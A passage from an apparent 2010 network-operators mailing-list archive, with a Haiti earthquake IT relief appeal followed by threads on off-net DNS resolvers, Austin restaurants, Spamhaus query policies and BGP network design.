Project Title: Adopt-an-Haitian-Internet-technician-or-facility Project Description: The project aims to collect money and telecom gear to provide mid-term financial aid to IT technicians that have been affected with their families during the January 12, 2010 earthquake. Money, telecoms gears, time, software, etc will serve to setup technology community centers to support schools, universities, vocational centers that have collapsed. Begin Date February 2010 End Date August 2010 The Context: On the January 12, 2010, Haiti one of the poorest country in the world is hurt by a 7.3 Earthquake that caused major damage to Port-au-Prince, Jacmel, Leogane and other settlements around. Many notable landmark buildings were significantly damaged or destroyed, including schools, universities, vocational schools even the Port-au-Prince Cathedral, and the main jail. Among those killed are a lot of technicians, students, teachers. Many countries responded to appeals for humanitarian aid, pledging funds and dispatching rescue and medical teams, engineers and support personnel. Communication systems, air, land, and sea transport facilities, hospitals, schools, universities, and electrical networks had been damaged by the earthquake, which hampered rescue and aid efforts; confusion over who was in charge, air traffic congestion, and problems with prioritization of flights further complicated early relief work. As rescues tailed off, supplies, medical care and sanitation become priorities. Among them we also need to address education on a mid term run. With a lot of destroyed schools and dead teachers e-learning can be a good way to overcome this problem. Deliverables and criteria for close-out The projects has 2 majors deliverables: 1. Providing financial support to at least 50 technicians whose houses have been destroyed during the seism. The idea is getting them a job so they don?t have to worry about their family basic needs and keeping them on their workplace 2. Setup mobile IT community centers to provide IT services to schools and universities. 3. Contents production for e-learning The project boundaries: This project aims to provide technical support to teachers helping them putting their courses online or on DVD and make it available for remote schools or schools whose teachers have been killed during the quake. Data Center in a box will facilitate access to those courses by the students. Project will be conducted in joint venture with the Ministry of Education that will define the priority based on must affected area and teacher availability. The main risks: The main risk of this project is not having enough funds to address all the needs in supporting the schools in producing online courses because it?s a well-known fact that in schools in Haiti adopted their own curriculum ignoring sometimes the official one. The second concern Stakeholders: Client(sponsor): Ministry of Education Project Manager: Reynold Guerrier Project Team: Reynold Guerrier, Max Larson Henry, Steering committee: Reynold Guerrier, St?phane Bruno, Sergey Gaillard, Roque Gagliano, Max Larson Henry Other Stakeholders: Local ISP, LACNIC, ISOC, IDB Budget and resources: ($, people, equipment, facilities, software, etc.) * 100,000.00 USD for salaries to support technicians and their family to get them back on track * 5 contents production units * Production software * Management software * 10 data center in a box Milestones Date Key deliverables Feb-March 2010: Financial support to technicians and families March 2010: Data center in a box March-August 2010: Implementation period Bank Account Info: Bank: SOGEBANK Bank Address : Route de Delmas, Delmas 29, Port-au-Prince, HAITI Account Number: 130212988 Swift code : SOGHHTPP Beneficiary : Association Ha?tienne pour le D?veloppement des Technologies de l?Information et de la Communication Beneficiary Address: 18, rue Moise, P?tion-Ville, HAITI ==== People interesting in working in Haiti can send me a skills and availability statement too, but what is needed soonest is a budget that can be applied to existing backfill cash needs passed through the AHTIC. Eric From patrick at ianai.net Wed Feb 17 14:01:12 2010 From: patrick at ianai.net (Patrick W. Gilmore) Date: Wed, 17 Feb 2010 15:01:12 -0500 Subject: History of 4.2.2.2. What's the story? In-Reply-To: References: <20100214091630.GA13678@tummy.com> <182E6E76-F12A-41D9-800A-E5E40F3C3B7D@direwolf.com> <201002142217.o1EMHCi8071152@drugs.dv.isc.org> <10BE7B64-46FF-46D8-A428-268897413EB4@hopcount.ca> <201002142243.o1EMhx44071536@drugs.dv.isc.org> <6B1E0CF6-BA9E-45AD-BF88-63C81F00307F@hopcount.ca> Message-ID: On Feb 16, 2010, at 11:35 PM, Frank Bulk wrote: > Our nameservers handle both the authoritative and recursive traffic, but we > use ACLs to restrict recursive queries to just our users. Speaking strictly about the recursive servers (others have covered the auth + recusive on one box thing), thank you for the ACLs. Open RNSes are difficult to secure against being used as an amplification attack vector. > If I understand your second sentence correctly, then yes, our DHCP server > hands out the DNS servers, of which one of the three is outside our own > network. While I am all for redundancy, and believe having authorities off-net is useful and good, I am not sure the same holds for RNSes. I like putting authoritative servers on multiple ASes because if my AS[*] dies, I may have good reason to want the hostnames to still resolve. The could very well have significance even when the AS is down (e.g. A records pointing to addresses outside my AS, backup MX records, etc.). But if my AS is down, my users cannot get to anything so what use is having a server happily working where they cannot reach it? Especially one firewalled so only they can use it? I cannot come up with a realistic failure mode where the user has good connectivity to the "outside world", but multiple, geographically & topologically disparate servers inside the AS are all unreachable. On the other hand, I can easily come up with several failure modes where the external RNSes are b0rk'ed, causing either your users or the rest of the Internet harm. In summary, could someone educate me on the benefits of having RNSes outside your network? -- TTFN, patrick [*] Since I Am Not An ISP, this is the hypothetical or general "my AS", not my actual AS. > -----Original Message----- > From: Patrick W. Gilmore [mailto:patrick at ianai.net] > Sent: Tuesday, February 16, 2010 9:33 PM > To: NANOG list > Subject: Re: History of 4.2.2.2. What's the story? > > On Feb 16, 2010, at 10:24 PM, Frank Bulk wrote: > >> We do. It's at our upstream provider, just in case we had an upstream >> connectivity issue or some internal meltdown that prevented those in the >> outside world to hit our (authoritative) DNS servers. Of course, that's >> most helpful for DNS records that resolve to IPs *outside* our network. > > What you describe - authorities used by people off your network to resolve A > records with IP addresses outside your network - is not what Joe was > describing. What the recursive name server your end users queried to > resolve names, the IP address in their desktop's control panel, outside your > network? > > I can see a small ISP using its upstream's recursive name server. But to > the rest of the world, most small ISPs look like a part of their upstream's > network. > > -- > TTFN, > patrick > > >> === >> >> >> For what it's worth, I have never heard of an ISP, big or small, >> deciding to place resolvers used by their customers in someone else's >> network. Perhaps I just need to get out more. >> >> Joe >> >> >> > > From w.d.clayton at gmail.com Wed Feb 17 14:04:16 2010 From: w.d.clayton at gmail.com (Will Clayton) Date: Wed, 17 Feb 2010 14:04:16 -0600 Subject: austin eats In-Reply-To: <223EE333-F16E-47B7-BAA2-C45728C6F244@gizmopartners.com> References: <25024E70-A1D8-4568-8A81-50A3C38BEA83@digitar.com> <1b5c1c151002170833q16a0ba9apb9547968d1fdd28f@mail.gmail.com> <223EE333-F16E-47B7-BAA2-C45728C6F244@gizmopartners.com> Message-ID: <69069bc21002171204t114044fdk82cffa71b1360f@mail.gmail.com> Maudi's on Lake Austin and Taco Deli are always on my menu. We just got some Buffalo Wild Wings in town if you are in to that. If you make it to NXNW get the Calimari. If you wind up ordering pizza, shop local and get the best pizza for the best price in town at Austin's Pizza. On Wed, Feb 17, 2010 at 10:39 AM, Chris Boyd wrote: > > On Feb 17, 2010, at 10:33 AM, Mike Lyon wrote: > > > Don't forget the Salt Lick... > > BBQ lovers should go to House Park BBQ. Most of the time the sign out > front says "you don't need no teef to eat my meef" > http://www.yelp.com/biz/house-park-bar-b-q-austin > Cash only! > > > If you want to make a short drive out to the east side of town and help > your cardiologist make a boat payment or two, get the Don Juan breakfast > taco from Juan in a Million. This place was featured on "Man vs. Food" a > while back. > http://www.juaninamillion.com/ > > > If you get tired of Tex-Mex, there's a good interior Mexican place > downtown. Manuel's. > http://www.manuels.com/ > > > Guiness fans should stop in at BD Riley's downtown. > http://www.bdrileys.com/ > > > Most coffee shops, bars and restaurants have wifi hotspots since there's an > active group of volunteers that helps install and maintain them. > > --Chris > > From cboyd at gizmopartners.com Wed Feb 17 14:41:26 2010 From: cboyd at gizmopartners.com (Chris Boyd) Date: Wed, 17 Feb 2010 14:41:26 -0600 Subject: austin eats In-Reply-To: <69069bc21002171204t114044fdk82cffa71b1360f@mail.gmail.com> References: <25024E70-A1D8-4568-8A81-50A3C38BEA83@digitar.com> <1b5c1c151002170833q16a0ba9apb9547968d1fdd28f@mail.gmail.com> <223EE333-F16E-47B7-BAA2-C45728C6F244@gizmopartners.com> <69069bc21002171204t114044fdk82cffa71b1360f@mail.gmail.com> Message-ID: <41710D43-D1F5-4BBF-BFB6-0DEFA5632FBF@gizmopartners.com> On Feb 17, 2010, at 2:04 PM, Will Clayton wrote: > Maudi's on Lake Austin and Taco Deli are always on my menu. We just got some Buffalo Wild Wings in town if you are in to that. If you make it to NXNW get the Calimari. If you wind up ordering pizza, shop local and get the best pizza for the best price in town at Austin's Pizza. Austin's is good, but HomeSlice on South Congress is better, and you can walk on down to Trophy's, Continental Club, or the garden at Guero's and take in a band. http://www.homeslicepizza.com/ http://austin.citysearch.com/profile/10210801/austin_tx/trophy_s_bar_grill.html http://www.continentalclub.com/ http://www.guerostacobar.com/ From tomb at byrneit.net Wed Feb 17 14:51:13 2010 From: tomb at byrneit.net (Tomas L. Byrnes) Date: Wed, 17 Feb 2010 12:51:13 -0800 Subject: History of 4.2.2.2. What's the story? In-Reply-To: References: <20100214091630.GA13678@tummy.com> <182E6E76-F12A-41D9-800A-E5E40F3C3B7D@direwolf.com> <201002142217.o1EMHCi8071152@drugs.dv.isc.org> <10BE7B64-46FF-46D8-A428-268897413EB4@hopcount.ca> <201002142243.o1EMhx44071536@drugs.dv.isc.org> <6B1E0CF6-BA9E-45AD-BF88-63C81F00307F@hopcount.ca> Message-ID: <72F9A69DCF990443B2CEC064E605CE062785@Pascal.zaphodb.org> > In summary, could someone educate me on the benefits of having RNSes > outside your network? > [Tomas L. Byrnes] We were a small regional ISP with only one main POP at the time. From nick at foobar.org Wed Feb 17 14:56:13 2010 From: nick at foobar.org (Nick Hilliard) Date: Wed, 17 Feb 2010 20:56:13 +0000 Subject: History of 4.2.2.2. What's the story? In-Reply-To: <72F9A69DCF990443B2CEC064E605CE062785@Pascal.zaphodb.org> References: <20100214091630.GA13678@tummy.com> <182E6E76-F12A-41D9-800A-E5E40F3C3B7D@direwolf.com> <201002142217.o1EMHCi8071152@drugs.dv.isc.org> <10BE7B64-46FF-46D8-A428-268897413EB4@hopcount.ca> <201002142243.o1EMhx44071536@drugs.dv.isc.org> <6B1E0CF6-BA9E-45AD-BF88-63C81F00307F@hopcount.ca> <72F9A69DCF990443B2CEC064E605CE062785@Pascal.zaphodb.org> Message-ID: <4B7C57ED.30005@foobar.org> On 17/02/2010 20:51, Tomas L. Byrnes wrote: > [Tomas L. Byrnes] We were a small regional ISP with only one main POP at > the time. off-net resolvers means that your continued customer satisfaction (and therefore your continued reliable cash-flow) is completely dependent on maintaining a good working relationship between your company and the company which operates the resolvers. If - for whatever reason - they decide to shut off services to your customers, your business will take a serious impact. Nick From tomb at byrneit.net Wed Feb 17 15:08:40 2010 From: tomb at byrneit.net (Tomas L. Byrnes) Date: Wed, 17 Feb 2010 13:08:40 -0800 Subject: History of 4.2.2.2. What's the story? In-Reply-To: <4B7C57ED.30005@foobar.org> References: <20100214091630.GA13678@tummy.com> <182E6E76-F12A-41D9-800A-E5E40F3C3B7D@direwolf.com> <201002142217.o1EMHCi8071152@drugs.dv.isc.org> <10BE7B64-46FF-46D8-A428-268897413EB4@hopcount.ca> <201002142243.o1EMhx44071536@drugs.dv.isc.org> <6B1E0CF6-BA9E-45AD-BF88-63C81F00307F@hopcount.ca> <72F9A69DCF990443B2CEC064E605CE062785@Pascal.zaphodb.org> <4B7C57ED.30005@foobar.org> Message-ID: <72F9A69DCF990443B2CEC064E605CE062787@Pascal.zaphodb.org> > -----Original Message----- > From: Nick Hilliard [mailto:nick at foobar.org] > Sent: Wednesday, February 17, 2010 12:56 PM > To: Tomas L. Byrnes > Cc: NANOG list > Subject: Re: History of 4.2.2.2. What's the story? > > On 17/02/2010 20:51, Tomas L. Byrnes wrote: > > [Tomas L. Byrnes] We were a small regional ISP with only one main POP > at > > the time. > > off-net resolvers means that your continued customer satisfaction (and > therefore your continued reliable cash-flow) is completely dependent on > maintaining a good working relationship between your company and the > company which operates the resolvers. If - for whatever reason - they > decide to shut off services to your customers, your business will take > a > serious impact. > > Nick [Tomas L. Byrnes] We had, and maintained, a good relationship, and the services were reciprocal. The resolvers were only tertiary anyway. YMMV, it worked for us. Different times. From patrick at ianai.net Wed Feb 17 15:10:59 2010 From: patrick at ianai.net (Patrick W. Gilmore) Date: Wed, 17 Feb 2010 16:10:59 -0500 Subject: History of 4.2.2.2. What's the story? In-Reply-To: <72F9A69DCF990443B2CEC064E605CE062785@Pascal.zaphodb.org> References: <20100214091630.GA13678@tummy.com> <182E6E76-F12A-41D9-800A-E5E40F3C3B7D@direwolf.com> <201002142217.o1EMHCi8071152@drugs.dv.isc.org> <10BE7B64-46FF-46D8-A428-268897413EB4@hopcount.ca> <201002142243.o1EMhx44071536@drugs.dv.isc.org> <6B1E0CF6-BA9E-45AD-BF88-63C81F00307F@hopcount.ca> <72F9A69DCF990443B2CEC064E605CE062785@Pascal.zaphodb.org> Message-ID: <4106DE12-CEB8-4A53-A536-7B16736D3D8E@ianai.net> On Feb 17, 2010, at 3:51 PM, Tomas L. Byrnes wrote: >> In summary, could someone educate me on the benefits of having RNSes >> outside your network? >> > [Tomas L. Byrnes] We were a small regional ISP with only one main POP at > the time. If you are single homed, you -are- your upstream's network, er, AS. I was careful to use "AS" and not "network" or "ISP" in my post - except the last line. :) -- TTFN, patrick From nonobvious at gmail.com Wed Feb 17 15:21:03 2010 From: nonobvious at gmail.com (Bill Stewart) Date: Wed, 17 Feb 2010 13:21:03 -0800 Subject: austin eats In-Reply-To: <20100217040243.720371CC0E@ptavv.es.net> References: <20100217040243.720371CC0E@ptavv.es.net> Message-ID: <18a5e7cb1002171321p738b7ec0v7a85a561c78d4dd6@mail.gmail.com> On Tue, Feb 16, 2010 at 8:02 PM, Kevin Oberman wrote: > It's mostly the obvious places. Oddly, Fogo de Chao, a churrascaria > that opened a year ago is missing from the list as is my personal By the way, Fogo de Chao is a very strange place to eat if you're a vegetarian. I once went to their Dallas instance with a group from my company and a customer, and the Indian guy on the customer's team and I sat across from each other while the waiters waved huge sticks of meat at the carnivores. Salad bar was exceptionally good, though. -- ---- Thanks; Bill Note that this isn't my regular email account - It's still experimental so far. And Google probably logs and indexes everything you send it. From tomb at byrneit.net Wed Feb 17 15:49:15 2010 From: tomb at byrneit.net (Tomas L. Byrnes) Date: Wed, 17 Feb 2010 13:49:15 -0800 Subject: History of 4.2.2.2. What's the story? In-Reply-To: <4106DE12-CEB8-4A53-A536-7B16736D3D8E@ianai.net> References: <20100214091630.GA13678@tummy.com> <182E6E76-F12A-41D9-800A-E5E40F3C3B7D@direwolf.com> <201002142217.o1EMHCi8071152@drugs.dv.isc.org> <10BE7B64-46FF-46D8-A428-268897413EB4@hopcount.ca> <201002142243.o1EMhx44071536@drugs.dv.isc.org> <6B1E0CF6-BA9E-45AD-BF88-63C81F00307F@hopcount.ca> <72F9A69DCF990443B2CEC064E605CE062785@Pascal.zaphodb.org> <4106DE12-CEB8-4A53-A536-7B16736D3D8E@ianai.net> Message-ID: <72F9A69DCF990443B2CEC064E605CE062789@Pascal.zaphodb.org> One main POP does not mean single homed. We had multiple upstreams, entrance facilities, and peers. We just had one facility where it all was, and our remote users were often dialing into third party banks based on reciprocity agreements when they were out of area. It was 12 years ago. Consolidation has rendered a lot of the collaboration from those days moot. > -----Original Message----- > From: Patrick W. Gilmore [mailto:patrick at ianai.net] > Sent: Wednesday, February 17, 2010 1:11 PM > To: NANOG list > Subject: Re: History of 4.2.2.2. What's the story? > > On Feb 17, 2010, at 3:51 PM, Tomas L. Byrnes wrote: > > >> In summary, could someone educate me on the benefits of having RNSes > >> outside your network? > >> > > [Tomas L. Byrnes] We were a small regional ISP with only one main POP > at > > the time. > > If you are single homed, you -are- your upstream's network, er, AS. I > was careful to use "AS" and not "network" or "ISP" in my post - except > the last line. :) > > -- > TTFN, > patrick > From Louis.Laczo at PaeTec.com Wed Feb 17 16:32:51 2010 From: Louis.Laczo at PaeTec.com (Laczo, Louis) Date: Wed, 17 Feb 2010 17:32:51 -0500 Subject: Spamhaus... Message-ID: <785686BA670E9840A0992A810829B189D2B4883C@NYMAILCLUSTER1.corp.paetec.com> Folks, I'm looking for comments / suggestions / opinions from any providers that have been contacted by spamhaus about excessive queries originating from their DNS resolvers, typically, as a proxy for customers. I know that certain large DNS providers (i.e. google and level3) have either been banned or have voluntarily blocked spamhaus queries by their resolvers. We're currently in discussion with spamhaus and I wanted to see how others may have handled this. Thanks! --Lou From randy at psg.com Wed Feb 17 17:23:10 2010 From: randy at psg.com (Randy Bush) Date: Thu, 18 Feb 2010 08:23:10 +0900 Subject: austin eats In-Reply-To: <223EE333-F16E-47B7-BAA2-C45728C6F244@gizmopartners.com> References: <25024E70-A1D8-4568-8A81-50A3C38BEA83@digitar.com> <1b5c1c151002170833q16a0ba9apb9547968d1fdd28f@mail.gmail.com> <223EE333-F16E-47B7-BAA2-C45728C6F244@gizmopartners.com> Message-ID: > Most coffee shops, bars and restaurants have wifi hotspots since > there's an active group of volunteers that helps install and maintain > them. which raises the critical question, where is the nearest decent (i.e. not fourbucks) coffee to the venue? randy From patrick at ianai.net Wed Feb 17 17:35:09 2010 From: patrick at ianai.net (Patrick W. Gilmore) Date: Wed, 17 Feb 2010 18:35:09 -0500 Subject: Spamhaus... In-Reply-To: <785686BA670E9840A0992A810829B189D2B4883C@NYMAILCLUSTER1.corp.paetec.com> References: <785686BA670E9840A0992A810829B189D2B4883C@NYMAILCLUSTER1.corp.paetec.com> Message-ID: <361F08C3-3D3A-424D-B674-941585EA935A@ianai.net> On Feb 17, 2010, at 5:32 PM, Laczo, Louis wrote: > I'm looking for comments / suggestions / opinions from any providers that have been contacted by spamhaus about excessive queries originating from their DNS resolvers, typically, as a proxy for customers. I know that certain large DNS providers (i.e. google and level3) have either been banned or have voluntarily blocked spamhaus queries by their resolvers. We're currently in discussion with spamhaus and I wanted to see how others may have handled this. I believe you can pay them a small fee and do a zone transfer so you are not hitting their name servers. If you see value in the service, it should be worth the small fee. And since you are hitting them a lot, I have a feeling that you see value in the service. -- TTFN, patrick From pstewart at nexicomgroup.net Wed Feb 17 17:45:57 2010 From: pstewart at nexicomgroup.net (Paul Stewart) Date: Wed, 17 Feb 2010 18:45:57 -0500 Subject: Spamhaus... In-Reply-To: <361F08C3-3D3A-424D-B674-941585EA935A@ianai.net> References: <785686BA670E9840A0992A810829B189D2B4883C@NYMAILCLUSTER1.corp.paetec.com> <361F08C3-3D3A-424D-B674-941585EA935A@ianai.net> Message-ID: Yes, at under 12 cents per user per *year* it's definitely worthwhile in my personal opinion... I know several providers who have taken their commercial service either because they wanted an SLA or because they were contacted by Spamhaus because of their traffic levels.... that price is rough and totally depends on how many email accounts you've got.... -p -----Original Message----- From: Patrick W. Gilmore [mailto:patrick at ianai.net] Sent: February-17-10 6:35 PM To: NANOG list Subject: Re: Spamhaus... On Feb 17, 2010, at 5:32 PM, Laczo, Louis wrote: > I'm looking for comments / suggestions / opinions from any providers that have been contacted by spamhaus about excessive queries originating from their DNS resolvers, typically, as a proxy for customers. I know that certain large DNS providers (i.e. google and level3) have either been banned or have voluntarily blocked spamhaus queries by their resolvers. We're currently in discussion with spamhaus and I wanted to see how others may have handled this. I believe you can pay them a small fee and do a zone transfer so you are not hitting their name servers. If you see value in the service, it should be worth the small fee. And since you are hitting them a lot, I have a feeling that you see value in the service. -- TTFN, patrick ---------------------------------------------------------------------------- "The information transmitted is intended only for the person or entity to which it is addressed and contains confidential and/or privileged material. If you received this in error, please contact the sender immediately and then destroy this transmission, including all attachments, without copying, distributing or disclosing same. Thank you." From black at csulb.edu Wed Feb 17 17:51:55 2010 From: black at csulb.edu (Matthew Black) Date: Wed, 17 Feb 2010 15:51:55 -0800 Subject: Spamhaus... In-Reply-To: <785686BA670E9840A0992A810829B189D2B4883C@NYMAILCLUSTER1.corp.paetec.com> References: <785686BA670E9840A0992A810829B189D2B4883C@NYMAILCLUSTER1.corp.paetec.com> Message-ID: On Wed, 17 Feb 2010 17:32:51 -0500 "Laczo, Louis" wrote: >Folks, > > I'm looking for comments / suggestions / opinions from any providers that >have been contacted by spamhaus about excessive queries originating from >their DNS resolvers, typically, as a proxy for customers. I know that >certain large DNS providers (i.e. google and level3) have either been >banned or have voluntarily blocked spamhaus queries by their resolvers. >We're currently in discussion with spamhaus and I wanted to see how others >may have handled this. > > Thanks! > --Lou When we licensed Spamhaus a few years back, they required us to set-up a DNS slave server instead of querying against their public server. They had a special DNS client that allowed partial zone updates. Turns out we downloaded huge hourly updates. We no longer use Spamhaus, relying instead upon Sender Base Reputation Scores (IronPort). matthew black e-mail postmaster california state university, long beach From steve at ibctech.ca Wed Feb 17 18:10:49 2010 From: steve at ibctech.ca (Steve Bertrand) Date: Wed, 17 Feb 2010 19:10:49 -0500 Subject: Location of upstream connections & BGP templates Message-ID: <4B7C8589.8060806@ibctech.ca> Hey all, I've got a couple of questions that I'd like operational feedback about. . Although we're an ISP, we currently are only an access provider. We don't yet provide any transit services, but the requirement for us to do so may creep up on a very small scale shortly. Nonetheless... I'm on the latter stages of transforming our network from flat to layered. My thinking is that my 'upstream' connections should be moved out of the core, and onto the edge. My reasoning for this is so that I can eliminate ACL/filtering etc from the core, and push it ALL out toward the edge, keeping the core as fast, sleek and maintenance-free as possible. I visualize my transit providers as essentially 'access', not part of my core backbone. What do other providers do? Are your transit peers connected directly to the core? I can understand such a setup for transit-only providers, but I can't see how that makes sense for any provider that provides (mostly) access services. I'm looking for feedback from both large and small providers, just to gain some perspective. Another question, along the same lines, due to recent discussions, I've done a great deal of research on BGP templates, and now want to migrate to them from peer-group. Before I waste lab time configuring things, I just want to ask for feedback based on experience on whether the following makes sense/will work for transition: - configure template structure - 'no' a single neighbour - apply templates to neighbour - the neighbour comes back up - wash, rinse, repeat Steve From johnl at iecc.com Wed Feb 17 18:35:14 2010 From: johnl at iecc.com (John Levine) Date: 18 Feb 2010 00:35:14 -0000 Subject: Spamhaus... In-Reply-To: Message-ID: <20100218003514.7988.qmail@simone.iecc.com> >When we licensed Spamhaus a few years back, they required us to >set-up a DNS slave server instead of querying against their public >server. They had a special DNS client that allowed partial zone >updates. Turns out we downloaded huge hourly updates. They now give you the choice of rsync or queries to non-public servers. Unless you have a humungous mail system, queries are cheaper and certainly less hassle. >We no longer use Spamhaus, relying instead upon Sender Base Reputation >Scores (IronPort). How does the price compare? R's, John From surfer at mauigateway.com Wed Feb 17 18:38:31 2010 From: surfer at mauigateway.com (Scott Weeks) Date: Wed, 17 Feb 2010 16:38:31 -0800 Subject: Location of upstream connections & BGP templates Message-ID: <20100217163831.B5C0E138@resin17.mta.everyone.net> --- steve at ibctech.ca wrote: From: Steve Bertrand layered. My thinking is that my 'upstream' connections should be moved out of the core, and onto the edge. My reasoning for this is so that I What do other providers do? Are your transit peers connected directly to the core? I can understand such a setup for transit-only providers, but -------------------------------------------- Border, core, access. Border routers only connect the core to the upstreams. They do nothing else. No acls, just prefix filters. For example, block 1918 space from leaving your network. Block other bad stuff from leaving your network too. Allow in only what you're expecting from the upstream; again 1918 space, etc. They can fat finger like anyone else. Core is for moving bits as efficiently as possible: no acls; no filters. Connect downstream BGP customers to access routers that participate in the iBGP mesh. Filter them only allowing what they're supposed to advertise. They'll mess it up a lot if they're like my customers by announcing everything under the sun. Filter what you're announcing to them. You can fat finger just as well as anyone else. ;-) scott From deleskie at gmail.com Wed Feb 17 18:41:04 2010 From: deleskie at gmail.com (jim deleskie) Date: Wed, 17 Feb 2010 20:41:04 -0400 Subject: Location of upstream connections & BGP templates In-Reply-To: <20100217163831.B5C0E138@resin17.mta.everyone.net> References: <20100217163831.B5C0E138@resin17.mta.everyone.net> Message-ID: Border/Core/Access is great thinking when your a sales rep for a vendor that sells under power kit. No reason for it any more. -jim On Wed, Feb 17, 2010 at 8:38 PM, Scott Weeks wrote: > > > --- steve at ibctech.ca wrote: > From: Steve Bertrand > > layered. My thinking is that my 'upstream' connections should be moved > out of the core, and onto the edge. My reasoning for this is so that I > > What do other providers do? Are your transit peers connected directly to > the core? I can understand such a setup for transit-only providers, but > -------------------------------------------- > > > Border, core, access. > > Border routers only connect the core to the upstreams. ?They do nothing else. ?No acls, just prefix filters. ?For example, block 1918 space from leaving your network. ?Block other bad stuff from leaving your network too. ?Allow in only what you're expecting from the upstream; again 1918 space, etc. ?They can fat finger like anyone else. > > Core is for moving bits as efficiently as possible: no acls; no filters. > > Connect downstream BGP customers to access routers that participate in the iBGP mesh. ?Filter them only allowing what they're supposed to advertise. ?They'll mess it up a lot if they're like my customers by announcing everything under the sun. ?Filter what you're announcing to them. ?You can fat finger just as well as anyone else. ?;-) > > scott > > From surfer at mauigateway.com Wed Feb 17 18:46:52 2010 From: surfer at mauigateway.com (Scott Weeks) Date: Wed, 17 Feb 2010 16:46:52 -0800 Subject: Location of upstream connections & BGP templates Message-ID: <20100217164652.B5C0E05B@resin17.mta.everyone.net> --- deleskie at gmail.com wrote: From: jim deleskie Border/Core/Access is great thinking when your a sales rep for a vendor that sells under power kit. No reason for it any more. ----------------------------------------------- I'd imagine it depends on the network size. Collapsing functionality is doable for smaller sizes. Please elaborate. scott From deleskie at gmail.com Wed Feb 17 18:49:47 2010 From: deleskie at gmail.com (jim deleskie) Date: Wed, 17 Feb 2010 20:49:47 -0400 Subject: Location of upstream connections & BGP templates In-Reply-To: <20100217164652.B5C0E05B@resin17.mta.everyone.net> References: <20100217164652.B5C0E05B@resin17.mta.everyone.net> Message-ID: I've done it much larger then small networks. Dependency is much more related to gear used then network size. -jim On Wed, Feb 17, 2010 at 8:46 PM, Scott Weeks wrote: > > > --- deleskie at gmail.com wrote: > From: jim deleskie > > > Border/Core/Access is great thinking when your a sales rep for a > vendor that sells under power kit. ?No reason for it any more. > ----------------------------------------------- > > > I'd imagine it depends on the network size. ?Collapsing functionality is doable for smaller sizes. ?Please elaborate. > > scott > > From james at freedomnet.co.nz Wed Feb 17 18:53:48 2010 From: james at freedomnet.co.nz (James Jones) Date: Wed, 17 Feb 2010 19:53:48 -0500 Subject: Location of upstream connections & BGP templates In-Reply-To: <20100217163831.B5C0E138@resin17.mta.everyone.net> References: <20100217163831.B5C0E138@resin17.mta.everyone.net> Message-ID: Ditto Sent from my iPhone On Feb 17, 2010, at 7:38 PM, "Scott Weeks" wrote: > > > --- steve at ibctech.ca wrote: > From: Steve Bertrand > > layered. My thinking is that my 'upstream' connections should be moved > out of the core, and onto the edge. My reasoning for this is so that I > > What do other providers do? Are your transit peers connected > directly to > the core? I can understand such a setup for transit-only providers, > but > -------------------------------------------- > > > Border, core, access. > > Border routers only connect the core to the upstreams. They do > nothing else. No acls, just prefix filters. For example, block > 1918 space from leaving your network. Block other bad stuff from > leaving your network too. Allow in only what you're expecting from > the upstream; again 1918 space, etc. They can fat finger like > anyone else. > > Core is for moving bits as efficiently as possible: no acls; no > filters. > > Connect downstream BGP customers to access routers that participate > in the iBGP mesh. Filter them only allowing what they're supposed > to advertise. They'll mess it up a lot if they're like my customers > by announcing everything under the sun. Filter what you're > announcing to them. You can fat finger just as well as anyone > else. ;-) > > scott > From steve at ibctech.ca Wed Feb 17 19:12:44 2010 From: steve at ibctech.ca (Steve Bertrand) Date: Wed, 17 Feb 2010 20:12:44 -0500 Subject: Location of upstream connections & BGP templates In-Reply-To: <20100217163831.B5C0E138@resin17.mta.everyone.net> References: <20100217163831.B5C0E138@resin17.mta.everyone.net> Message-ID: <4B7C940C.7090805@ibctech.ca> On 2010.02.17 19:38, Scott Weeks wrote: > --- steve at ibctech.ca wrote: > > layered. My thinking is that my 'upstream' connections should be moved > out of the core, and onto the edge. My reasoning for this is so that I > > What do other providers do? Are your transit peers connected directly to > the core? I can understand such a setup for transit-only providers, but > -------------------------------------------- > > > Border, core, access. > > Border routers only connect the core to the upstreams. They do nothing else. No acls, just prefix filters. For example, block 1918 space from leaving your network. Block other bad stuff from leaving your network too. Allow in only what you're expecting from the upstream; again 1918 space, etc. They can fat finger like anyone else. This was my thought. However... no fat-finger accidents using Team Cymru in conjunction with my internal RTBH triggers with uRPF enabled on every single 'edge' interface ;) This was the basis of my original question. I want to keep this setup at edge-only, and don't want to have to apply it within the core gear. > Core is for moving bits as efficiently as possible: no acls; no filters. ...which is what I visualize, and essentially want. > Connect downstream BGP customers to access routers that participate in the iBGP mesh. Filter them only allowing what they're supposed to advertise. They'll mess it up a lot if they're like my customers by announcing everything under the sun. Filter what you're announcing to them. You can fat finger just as well as anyone else. ;-) I guess I see 'border' and 'access' as the same. Fat-fingering is important to me. My pref-list is created long before I turn up a BGP session to a client, and the peering is tested internally before I allow them to advertise anything (or I advertise anything to them). At this point, I only have one _true_ peer that advertises their space directly to me, and it is tied down to the last bit. I even informed them that I will perform max path, so they will drop if they break it. Not scalable for multiple clients, but I've learnt a lot. I need to learn now how to scale, which is why the second half of my question dealt with templates. One template, less chance for me to fat-finger :) Cheers, STeve From jared at puck.nether.net Wed Feb 17 19:19:43 2010 From: jared at puck.nether.net (Jared Mauch) Date: Wed, 17 Feb 2010 20:19:43 -0500 Subject: Location of upstream connections & BGP templates In-Reply-To: <4B7C8589.8060806@ibctech.ca> References: <4B7C8589.8060806@ibctech.ca> Message-ID: <71AAFF96-38AE-4D85-BCA8-FE32770892FD@puck.nether.net> On Feb 17, 2010, at 7:10 PM, Steve Bertrand wrote: > Hey all, > > I've got a couple of questions that I'd like operational feedback about. > . > > Although we're an ISP, we currently are only an access provider. We > don't yet provide any transit services, but the requirement for us to do > so may creep up on a very small scale shortly. Nonetheless... > > I'm on the latter stages of transforming our network from flat to > layered. My thinking is that my 'upstream' connections should be moved > out of the core, and onto the edge. My reasoning for this is so that I > can eliminate ACL/filtering etc from the core, and push it ALL out > toward the edge, keeping the core as fast, sleek and maintenance-free as > possible. I visualize my transit providers as essentially 'access', not > part of my core backbone. One of the challenges is how do you decide if something is "core" vs "access". If both are the same speed, is there a reason to keep them on different devices? How do you aggregate your customers if they are the same speed as your "core"? Are there points of savings? I don't know if you're doing T1 aggregation or 10GE, so this is hard to speculate, but I honestly would not spend a lot of time talking to people that have different buckets for a device class. What is "core" today is always edge in the future. "peering edge" "customer edge" "core" Mean different things to different networks/people. Some see value, others see excess. > What do other providers do? Are your transit peers connected directly to > the core? I can understand such a setup for transit-only providers, but > I can't see how that makes sense for any provider that provides (mostly) > access services. I'm looking for feedback from both large and small > providers, just to gain some perspective. > > Another question, along the same lines, due to recent discussions, 